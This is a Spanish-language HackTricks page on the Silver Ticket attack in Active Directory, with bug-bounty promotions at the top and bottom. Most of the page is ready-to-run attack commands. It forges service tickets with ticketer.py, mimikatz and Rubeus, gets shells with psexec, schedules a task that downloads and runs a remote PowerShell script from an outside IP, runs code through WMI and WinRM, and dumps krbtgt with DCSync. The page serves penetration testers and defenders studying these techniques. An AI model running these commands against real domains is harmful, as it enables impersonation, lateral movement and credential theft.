hacktricks/windows-hardening/active-directory-methodology/silver-ticket.md
2024-04-06 18:13:31 +00:00

9.4 KiB

Silver Ticket

Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Consejo de recompensa por errores: Regístrate en Intigriti, una plataforma de recompensas por errores premium creada por hackers, para hackers. ¡Únete a nosotros en https://go.intigriti.com/hacktricks hoy, y comienza a ganar recompensas de hasta $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Ticket de Plata

El ataque de Ticket de Plata implica la explotación de tickets de servicio en entornos de Active Directory (AD). Este método se basa en obtener el hash NTLM de una cuenta de servicio, como una cuenta de computadora, para falsificar un Ticket Granting Service (TGS). Con este ticket falsificado, un atacante puede acceder a servicios específicos en la red, haciéndose pasar por cualquier usuario, generalmente apuntando a privilegios administrativos. Se enfatiza que el uso de claves AES para falsificar tickets es más seguro y menos detectable.

Para la creación de tickets, se emplean diferentes herramientas según el sistema operativo:

En Linux

python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

En Windows

# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"

# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

El servicio CIFS se destaca como un objetivo común para acceder al sistema de archivos de la víctima, pero otros servicios como HOST y RPCSS también pueden ser explotados para tareas y consultas de WMI.

Servicios Disponibles

Tipo de Servicio Tickets Silver del Servicio
WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

Dependiendo del SO también:

WSMAN

RPCSS

WinRM

HOST

HTTP

En algunas ocasiones también se puede solicitar: WINRM

Tareas Programadas HOST
Compartir Archivos de Windows, también psexec CIFS
Operaciones LDAP, incluido DCSync LDAP
Herramientas de Administración Remota del Servidor de Windows

RPCSS

LDAP

CIFS

Tickets Dorados krbtgt

Usando Rubeus puedes solicitar todos estos tickets utilizando el parámetro:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

Eventos de ID de Eventos de Tickets Silver

  • 4624: Inicio de Sesión de Cuenta
  • 4634: Cierre de Sesión de Cuenta
  • 4672: Inicio de Sesión de Administrador

Abusando de los Tickets de Servicio

En los siguientes ejemplos, imaginemos que el ticket se obtiene suplantando la cuenta de administrador.

CIFS

Con este ticket podrás acceder a las carpetas C$ y ADMIN$ a través de SMB (si están expuestas) y copiar archivos a una parte del sistema de archivos remoto simplemente haciendo algo como:

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

También podrás obtener una shell dentro del host o ejecutar comandos arbitrarios usando psexec:

{% content-ref url="../lateral-movement/psexec-and-winexec.md" %} psexec-and-winexec.md {% endcontent-ref %}

HOST

Con este permiso puedes generar tareas programadas en computadoras remotas y ejecutar comandos arbitrarios:

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

Con estos tickets puedes ejecutar WMI en el sistema de la víctima:

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

Encuentra más información sobre wmiexec en la siguiente página:

{% content-ref url="../lateral-movement/wmicexec.md" %} wmicexec.md {% endcontent-ref %}

HOST + WSMAN (WINRM)

Con acceso winrm a una computadora, puedes acceder e incluso obtener un PowerShell:

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

LDAP

Con este privilegio, puedes volcar la base de datos del controlador de dominio utilizando DCSync:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

Aprende más sobre DCSync en la siguiente página:

Referencias

{% content-ref url="dcsync.md" %} dcsync.md {% endcontent-ref %}

Consejo de recompensa por errores: Regístrate en Intigriti, una plataforma premium de recompensas por errores creada por hackers, para hackers. ¡Únete a nosotros en https://go.intigriti.com/hacktricks hoy y comienza a ganar recompensas de hasta $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: